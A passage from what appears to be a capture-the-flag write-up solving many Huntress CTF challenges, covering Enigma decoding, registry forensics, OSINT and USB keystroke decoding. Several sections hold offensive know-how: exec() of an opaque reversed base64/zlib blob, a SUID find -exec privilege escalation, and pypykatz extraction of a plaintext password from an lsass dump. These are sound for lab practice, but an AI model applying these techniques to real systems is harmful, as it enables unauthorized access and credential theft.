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'
# Decode the base64 string
decoded_data = base64.b64decode(base64_string[::-1])
# Decompress the decoded data
decompressed_data = zlib.decompress(decoded_data)
# Define the underscore variable before executing
_ = lambda __: __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))
# Execute the decompressed data
exec(decompressed_data)
Flag: flag{2543ff1e714bC2eb9ff78128232785ad}
Mystery
Author: Michael Orlino
Category: Warmups
Someone sent this to me… such enigma, such mystery:
1
2
3
4
5
6
7
8
9
rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy
Settings as below:
3 Rotor Model
Rotor 1: VI, Initial: A, Ring A
Rotor 2: I, Initial: Q, Ring A
Rotor 3: III, Initial L, Ring A
Reflector: UKW B
Plugboard: BQ CR DI EJ KW MT OS PX UZ GH
I used CyberChef, which has an Enigma decoder to decode the code above, resulting in the following:
1
2
3
MESSA GEWRA PPEDI NLIGH THIDD ENDEE PEROU TOFSI GHTLO CKING ITMOR ETIGH TANYW AYYOU RFLAG ISHER EFLAG FDFEA BCACB EBFBA DAEFB ECCAA DDDBA FEZZZ
MESSAGE WRAPPED IN LIGHT HIDDEN DEEPER OUT OF SIGHT LOCKING IT MORE TIGHT ANYWAY YOUR FLAG IS HERE FLAG FDFEA BCACB EBFBA DAEFB ECCAA DDDBA FEZZZ
The flag has 35 characters in it. A normal MD5 sum has 32 characters, so I removed the ZZZ
from the flag, as it was padding for the flag format.
Flag: flag{fdfeabcacbebfbadaefbeccaadddbafe}
Ran Somwhere
Author: @Spyderwall
Category: OSINT
Thanks for joining the help desk! Here’s your first ticket of the day; can you help the client out?
We are given a ran_somewhere.eml
file.
First, I ran eml-analyzer
against it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~/Downloads]
└─$ emlAnalyzer -i ran_somewhere.eml
=================
|| Structure ||
=================
|- multipart/mixed
| |- multipart/related
| | |- text/html
| | |- image/png [company logo.png]
| | |- text/plain [4e 6f 74 65.txt]
| | |- application/octet-stream [66 69 6e 64 20 69 74 20 79 65 74]
| | |- application/octet-stream [69 6d 20 6e 65 61 72 62 79]
==================================
|| URLs in HTML and text part ||
==================================
- https://sites.google.com/view/id-10-t/home
===============================================
|| Reloaded Content (aka. Tracking Pixels) ||
===============================================
[+] No content found which will be reloaded from external resources
===================
|| Attachments ||
===================
[1] company logo.png image/png inline
[2] 4e 6f 74 65.txt text/plain attachment
[3] 66 69 6e 64 20 69 74 20 79 65 74 application/octet-stream attachment
[4] 69 6d 20 6e 65 61 72 62 79 application/octet-stream attachment
First, I tried to determine what kind of file I was dealing with:
1
2
3
┌──(kali㉿kali)-[~/Downloads/eml_attachments]
└─$ file 66\ 69\ 6e\ 64\ 20\ 69\ 74\ 20\ 79\ 65\ 74
66 69 6e 64 20 69 74 20 79 65 74: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [\012- TIFF image data, big-endian, direntries=2], baseline, precision 8, 3024x4032, components 3
1
2
3
┌──(kali㉿kali)-[~/Downloads/eml_attachments]
└─$ file 69\ 6d\ 20\ 6e\ 65\ 61\ 72\ 62\ 79
69 6d 20 6e 65 61 72 62 79: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, software=Greenshot], baseline, precision 8, 3000x4032, components 3
Since they were both JPEG files, I simply renamed them to 1.jpeg
and 2.jpeg
.
The text file contained the following data:
1
48 65 79 20 54 68 65 72 65 21 20 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 6d 6f 72 65 20 63 61 72 65 66 75 6c 20 6e 65 78 74 20 74 69 6d 65 20 61 6e 64 20 6e 6f 74 20 6c 65 61 76 65 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 75 6e 6c 6f 63 6b 65 64 20 61 6e 64 20 75 6e 61 74 74 65 6e 64 65 64 21 20 59 6f 75 20 6e 65 76 65 72 20 6b 6e 6f 77 20 77 68 61 74 20 6d 69 67 68 74 20 68 61 70 70 65 6e 2e 20 57 65 6c 6c 20 69 6e 20 74 68 69 73 20 63 61 73 65 2c 20 79 6f 75 20 6c 6f 73 74 20 79 6f 75 72 20 66 6c 61 73 68 20 64 72 69 76 65 2e 20 44 6f 6e 27 74 20 77 6f 72 72 79 2c 20 49 20 77 69 6c 6c 20 6b 65 65 70 20 69 74 20 73 61 66 65 20 61 6e 64 20 73 6f 75 6e 64 2e 20 41 63 74 75 61 6c 6c 79 20 79 6f 75 20 63 6f 75 6c 64 20 73 61 79 20 69 74 20 69 73 20 6e 6f 77 20 27 66 6f 72 74 69 66 69 65 64 27 2e 20 59 6f 75 20 63 61 6e 20 63 6f 6d 65 20 72 65 74 72 69 65 76 65 20 69 74 2c 20 62 75 74 20 79 6f 75 20 67 6f 74 20 74 6f 20 66 69 6e 64 20 69 74 2e 20 49 20 6c 65 66 74 20 61 20 63 6f 75 70 6c 65 20 6f 66 20 66 69 6c 65 73 20 74 68 61 74 20 73 68 6f 75 6c 64 20 68 65 6c 70 2e 0a 2d 20 56 69 67 69 6c 20 41 6e 74 65
The data is in HEX format, so I used CyberChef to convert it:
1
2
Hey There! You should be more careful next time and not leave your computer unlocked and unattended! You never know what might happen. Well in this case, you lost your flash drive. Don't worry, I will keep it safe and sound. Actually you could say it is now 'fortified'. You can come retrieve it, but you got to find it. I left a couple of files that should help.
- Vigil Ante
In one of the pictures, there is a plate on a building with the partial words “Frederick” and “Recko.” I used a Google search: frederick maryland recko building
and looked through the images. After some intense Googling, I finally found a place that looked a lot like the images. It had the same kind of building, and the distinct pathway was the same.
Flag: Bel Air Armory
Zimmer Downloaded
Author: @sudo_Rem
Category: Forensics
A user interacted with a suspicious file on one of our hosts. The only thing we managed to grab was the user’s registry hive. Are they hiding any secrets?
We are given an NTUSER.dat
file for this challenge.
I used RegRipper to generate a report for all the interesting information from the registry hive. From the report, I noticed that there were some interesting files that had been recently used.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
recentdocs v.20200427
(NTUSER.DAT) Gets contents of user's RecentDocs key
RecentDocs
**All values printed in MRUList\MRUListEx order.
Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
LastWrite Time: 2024-10-02 02:48:01Z
26 = Windows
25 = d2FmZmxld2FmZmxld2FmZmxld2FmZmxl.dll
24 = passwords.zip
23 = passwords.dll
22 = passwords.db
21 = passwords.ppt
20 = passwords.docx
19 = passwords.xlsx
18 = passwords.txt
17 = OneDrive
16 = VJGSuERgCoVhl6mJg1x87faFOPIqacI3Eby4oP5MyBYKQy5paDF.b62
15 = Videos
14 = How to find flags.mp4
13 = Music
12 = huntress_beats_to_study_and_relax_to.mp3
2 = Pictures
4 = just_john.bmp
1 = john_and_i_on_the_beach.bmp
3 = john_and_i_at_dinner.bmp
5 = huntress secrets.txt.txt
6 = top_secret.zip
11 = strings
10 = made_me_redo_this.txt
9 = files
8 = notthe_flag.txt
7 = super_secret_stuff.zip
0 = &suppressAnimations=false&showFooter=true&allowPageNavigation=true&edgeGestureOffset=0&inputAnimationSourceId=0&inputAnimationProviderId=0
This one, 16 = VJGSuERgCoVhl6mJg1x87faFOPIqacI3Eby4oP5MyBYKQy5paDF.b62
, was particularly interesting since it didn’t belong with the rest.
From a quick Google search, it appeared to be a Base62 encoded string.
I decoded it with CyberChef and obtained the flag.
Flag: flag{4b676ccc1070be66b1a15dB601c8d500}
Finders Fee
Author: @JohnHammond
Category: Warmups
You gotta make sure the people who find stuff for you are rewarded well! Escalate your privileges and uncover the flag.txt in the finder user’s home directory.
To solve this challenge, you are supposed to escalate your privileges since the flag is in another user’s directory. From the name of the challenge, it is clear that you are meant to use the find
command.
I used find / -perm /6000
to check if /usr/bin/find
had permission to the whole filesystem.
Since it had those permissions, I just needed to use the -exec
parameter with find
to read the flag.
1
2
user@finders-fee-f02070026b7d20d7-67ccc69679-dpnlm:~$ /bin/find -exec cat /home/finder/flag.txt \;
flag{5da1de289823cfc200adf91d6536d914}
Flag: flag{5da1de289823cfc200adf91d6536d914}
Typo
Author: @JohnHammond
Category: Warmups
Gosh darnit, I keep entering a typo in my Linux command prompt!
When you connect to the server using the SSH command, all you see is a train moving across the screen, and then the connection closes.
It is possible to send commands through the initial SSH connection by using the -t
parameter. I assumed that the flag.txt
was probably in the root directory of the initial connection, and I got lucky.
1
2
3
4
5
──(kali㉿kali)-[~/Downloads/ssh]
└─$ ssh -t -p 31579 user@challenge.ctf.games 'cat flag.txt'
user@challenge.ctf.games's password:
flag{36a0354fbf59df454596660742bf09eb}
Connection to challenge.ctf.games closed.
Flag: flag{36a0354fbf59df454596660742bf09eb}
Zulu
Author: @JohnHammond Category: Warmups
Did you know that zulu is part of the phonetic alphabet?
We are given a file named zulu
. The first thing I did was run the file
command on it.
1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ file zulu
zulu: compress'd data 16 bits
If you try to uncompress it directly, you encounter the following error:
1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ uncompress zulu
gzip: zulu: unknown suffix -- ignored
To uncompress this file, we need to append the .z
extension to it using the command mv zulu zulu.z
, and then try to uncompress it again. Once that is successful, we can retrieve the flag from the file.
Flag: flag{74235a9216ee609538022e6689b4de5c}
Mimi
Author: @JohnHammond
Category: Malware
Uh oh! Mimi forgot her password for her Windows laptop! Luckily, she dumped one of the crucial processes running on her computer (don’t ask me why, okay)… can you help her recover her password?
Using the file
command, we can determine what kind of file it is:
1
mimi: Mini DuMP crash report, 18 streams, Tue Sep 10 02:33:22 2024, 0x461826 type
To examine its contents, I used another tool, minidump-stackwalk
, to identify what kind of process had been dumped.
1
2
3
4
Loaded modules:
0x1dcaf3d0000 - 0x1dcaf3d2fff msprivs.dll 6.2.22621.1
0x7ff61b8f0000 - 0x7ff61b901fff lsass.exe 6.2.22621.3235 (main)
0x7ff9dd4e0000 - 0x7ff9dd510fff certpoleng.dll 6.2.22621.3672
From this, I assumed it was the lsass.exe
file that had been dumped, which contains a user’s password. I then proceeded to use pypykatz
, a Python implementation of Mimikatz. I renamed the file to mimi.dmp
since I encountered some issues with the tool. However, once I fully updated it, it worked as intended.
1
2
──(kali㉿kali)-[~/huntress/mimi]
└─$ pypykatz lsa minidump mimi.dmp
1
2
3
4
5
6
7
8
9
10
11
== MSV ==
Username: mimi
Domain: windows11
LM: NA
NT: 5e088b316cc30d7b2d0158cb4bd9497c
SHA1: c1bd67cf651fdbcf27fd155f488721f52fff64fa
DPAPI: c1bd67cf651fdbcf27fd155f488721f52fff64fa
== WDIGEST [ad49a]==
username mimi
domainname windows11
password flag{7a565a86761a2b89524bf7bb0d19bcea}
Flag: flag{7a565a86761a2b89524bf7bb0d19bcea}
I Can’t SSH
Author: @JohnHammond
Category: Warmups
I’ve got this private key… but why can’t I SSH?
1
2
3
4
┌──(kali㉿kali)-[~/huntress/ssh]
└─$ ssh -p 32208 user@challenge.ctf.games -i newkey_format
user@i-cant-ssh-4a5a5eae88e5e40b-69d74bf7db-szq6j:~$ cat flag.txt
flag{ee1f28722ec1ce1542aa1b486dbb1361}user@i-cant-ssh-4a5a5eae88e5e40b-69d74bf7db-szq6j:~$
Flag: flag{ee1f28722ec1ce1542aa1b486dbb1361}
Obfuscation Station
Author: @resume
Category: Forensics
You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?
You are given an obfuscated PowerShell script that you need to decode to retrieve the flag.
1
(nEW-objECt SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')
A quick python script can do the trick.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import zlib
# The obfuscated Base64 string
obfuscated_string = 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA'
# Step 1: Decode the Base64 string
decoded_data = base64.b64decode(obfuscated_string)
# Step 2: Decompress the decoded data using zlib (Deflate)
decompressed_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)
# Step 3: Print the result
print(decompressed_data.decode('ascii'))
When you run the script, you get the following output:
1
2
3
┌──(kali㉿kali)-[~/Downloads/obstation]
└─$ python3 script.py
$5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"
Flag: flag{3ed675ef0343149723749c34fa910ae4}
The Void
Author: @JohnHammond#6971
Category: Warmups
When you gaze long into the void, the void gazes also into you…
To be honest, I have no idea what’s going on. I am aware that it uses ANSI codes to make the terminal appear like a void. However, I don’t understand why the script sometimes reveals the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket
import re
# Regex pattern for flag format: flag{[0-9a-f]{32}}
flag_pattern = re.compile(r'flag\{[0-9a-f]{32}\}')
# Function to generate a hex dump of the data
def hex_dump(data):
hex_data = " ".join(f"{b:02x}" for b in data)
ascii_data = "".join(chr(b) if 32 <= b < 127 else '.' for b in data) # Printable ASCII range
return hex_data, ascii_data
# Main function to connect and read from server
def connect_and_read(host, port, command=None):
try:
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the server
s.connect((host, port))
print(f"Connected to {host}:{port}")
# Continuously receive data from the server
complete_response = b'' # Store all received data
while True:
response = s.recv(8192) # Buffer size
if not response:
break
# Append to complete response
complete_response += response
# Hex dump of the response
hex_data, ascii_data = hex_dump(response)
print("Hex Dump of Response:")
print(hex_data)
# Process full response
clean_response = re.sub(r'(?:\x1B[@-_][0-?]*[ -/]*[@-~])', '', complete_response.decode('utf-8', errors='ignore'))
print("Cleaned Response (without ANSI):")
print(clean_response)
# Look for the flag using the provided pattern
flag_match = flag_pattern.search(clean_response)
if flag_match:
print(f"Flag Found: {flag_match.group(0)}")
except Exception as e:
print(f"Error: {e}")
finally:
# Close the connection
s.close()
# Specify host, port, and the command to send
host = 'challenge.ctf.games' # Replace with the actual host
port = 30463 # Replace with the actual port
# Call the function to connect and send command
connect_and_read(host, port,)
The response from the terminal:
1
2
3
4
5
0 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d
Cleaned Response (without ANSI):
m flag{b1370ac4fadd8c0237f8771d7d77286a}
Hex Dump of Response:
1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30
Flag: flag{b1370ac4fadd8c0237f8771d7d77286a}
Linux Basic
Author: @aenygma
Category: Miscellaneous
You’re expected to answer a series of questions to get the flag. To view the questions, and answer them, you’ll use the answer tool. Display questions: answer Answer a question: answer x where x is question number.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~/huntress/thevoid]
└─$ nc challenge.ctf.games 30765
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
_ _ ____ _
| | (_)_ __ _ ___ __ | __ ) __ _ ___(_) ___ ___
| | | | '_ \| | | \ \/ / | _ \ / _` / __| |/ __/ __|
| |___| | | | | |_| |> < | |_) | (_| \__ \ | (__\__ \
|_____|_|_| |_|\__,_/_/\_\ |____/ \__,_|___/_|\___|___/
Welcome to Linux Basics!
You're expected to answer a series of questions to get the flag.
To view the questions, and answer them, you'll use the `answer` tool.
Display questions: `answer`
Answer a question: `answer x` where x is question number.
linux-basics-2c17429c7432255a-fdc6c5587-g9ntv:~$ answer
answer
Question 0: What's your home directory?
Question 1: Search the man pages. What command would you use to generate random permutations?
Question 2: On what day was /home/user/myfile.txt modified? Use the date format 2019-12-31
Question 3: How big is /home/user/myfile.txt, in kilobytes? Round to the nearest whole number.
Question 4: What user owns the file /home/user/myfile.txt
Question 5: What's the 3-digit octal permissions of the file /home/user/myfile.txt? (e.g 777)
Question 6: What is the user id of 'admin'?
Question 7: There is a user 'john' on the system. Can they write to /home/user/myfile.txt? (yes/no)
Question 8: Can the 'admin' user execute /home/user/myfile.txt? (yes/no)
Question 9: Which user on the system, except for you, root, admin and john, can execute /home/user/myfile.txt?
Question 10: /home/user/myfile.txt looks like a txt file, but it actually isn't. What kind of file is it?
linux-basics-2c17429c7432255a-fdc6c5587-g9ntv:~$
Question 0: What’s your home directory?
pwd
Answer: /home/user
Question 1: Search the man pages. What command would you use to generate random permutations?
Answer: shuf
Question 2: On what day was /home/user/myfile.txt modified? Use the date format 2019-12-31
1
2
3
4
5
6
7
8
stat myfile.txt
File: myfile.txt
Size: 22200 Blocks: 48 IO Block: 4096 regular file
Device: 50002ah/5242922d Inode: 405114 Links: 1
Access: (0754/-rwxr-xr--) Uid: ( 0/ root) Gid: ( 1338/ admin)
Access: 1997-08-29 02:13:00.000000000 -0700
Modify: 1997-08-29 02:13:00.000000000 -0700
Change: 2024-10-17 12:02:54.442947231 -0700
Answer: 1997-08-29
Question 3: How big is /home/user/myfile.txt, in kilobytes? Round to the nearest whole number.
stat -c %s /home/user/myfile.txt | awk '{printf "%.0f\n", $1/1024}'
Answer: 22
Question 4: What user owns the file /home/user/myfile.txt
1
2
3
4
5
6
7
8
9
linux-basics-2c17429c7432255a-fdc6c5587-g9ntv:~$ ls -la
ls -la
total 48
drwxr-sr-x 1 user admin 4096 Oct 18 10:46 .
drwxr-xr-x 1 root root 4096 Sep 30 00:09 ..
-rw------- 1 user admin 113 Oct 18 10:46 .bash_history
-rw-r--r-- 1 root root 645 Sep 30 00:09 .profile
-rw-r--r-- 1 root root 1732 Sep 30 00:09 README
-rwxr-xr-- 1 root admin 22200 Aug 29 1997 myfile.txt
Answer: root
Question 5: What’s the 3-digit octal permissions of the file /home/user/myfile.txt? (e.g 777)
1
2
3
Owner: 7
Group: 5
Others: 4
Answer: 754
Question 6: What is the user id of ‘admin’?
grep '^admin:' /etc/passwd
1
2
grep '^admin:' /etc/passwd
admin:x:1338:1338:Linux User,,,:/:/bin/false
Answer: 1338
Question 7: There is a user ‘john’ on the system. Can they write to /home/user/myfile.txt? (yes/no)
1
-rwxr-xr-- 1 root admin 22200 Aug 29 1997 /home/user/myfile.txt
Answer: No
Question 8: Can the ‘admin’ user execute /home/user/myfile.txt? (yes/no)
Answer: Yes
Question 9: Which user on the system, except for you, root, admin and john, can execute /home/user/myfile.txt?
grep '^admin:' /etc/group
1
admin:x:1338:user,john,rose
Answer: rose
Question 10: /home/user/myfile.txt looks like a txt file, but it actually isn’t. What kind of file is it?
1
2
file myfile.txt
myfile.txt: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 807x114, components
Answer: jpeg
When you input the last answer, it returns the flag.
Flag: flag{8873fe66f8e7a6019d7d71261864f6c5}
Keyboard Junkie
Author: @JohnHammond
Category: Forensics
My friend wouldn’t shut up about his new keyboard, so…
First, I opened the file in Wireshark and filtered it to show only the HID data in the PCAP file. I extracted that data to a new PCAP file and then ran this script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys
from scapy.all import PcapReader, Raw
def print_raw_packets(pcap_file):
with PcapReader(pcap_file) as pcap:
packet_number = 0
for packet in pcap:
packet_number += 1
if Raw in packet:
raw_data = bytes(packet[Raw])
print(f"Packet {packet_number}: {raw_data.hex()}") # Print raw bytes in hex format
else:
print(f"Packet {packet_number}: No raw data found.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python output_raw_packets.py <input.pcap>")
sys.exit(1)
pcap_file = sys.argv[1]
print_raw_packets(pcap_file)
This allowed me to view the contents of the file in a more accessible way:
1
2
3
4
Packet 50: c070de3d9ea0ffff4301810901002d0028df3260000000005f5402000000000008000000080000000000000000000000080000000000000004020000000000000000000000000000
Packet 51: c070de3d9ea0ffff4301810901002d0028df326000000000ba0c0e000000000008000000080000000000000000000000080000000000000004020000000000000000240000000000
Packet 52: c070de3d9ea0ffff4301810901002d0028df326000000000ccc70e000000000008000000080000000000000000000000080000000000000004020000000000000000000000000000
From this, I could see that I needed the last 16 characters, as that was the HID data I observed in Wireshark. The following script takes the last 16 characters, parses them into text characters, and outputs the result.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys
from scapy.all import PcapReader, Raw
import string
def usb_to_ascii(num, mod=0):
# Map keys
lower = '????' + string.ascii_lowercase + "1234567890" + "\n??\t -=[]\\?;'`,./?"
upper = '????' + string.ascii_uppercase + "!@#$%^&*()" + "\n??\t _|{}|?:\"~<>??"
# Default to lower
chars = lower
if mod == 32:
chars = upper
if num == 42:
# Hack in backspace
return '\x08' # backspace
if 0 <= num < len(chars):
return chars[num]
return None
def extract_hid_data(pcap_file):
decoded_string = ""
with PcapReader(pcap_file) as pcap:
packet_number = 0
for packet in pcap:
packet_number += 1
if Raw in packet:
raw_data = bytes(packet[Raw])
if len(raw_data) >= 16:
hid_data = raw_data[-16:] # Get the last 16 bytes
# Assuming the HID data follows the format of: [modifier][reserved][keycode...]
modifier = hid_data[0]
for keycode in hid_data[2:]:
if keycode != 0: # Ignore key releases
char = usb_to_ascii(keycode, mod=modifier)
if char is not None:
decoded_string += char
return decoded_string
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python decoder.py <input.pcap>")
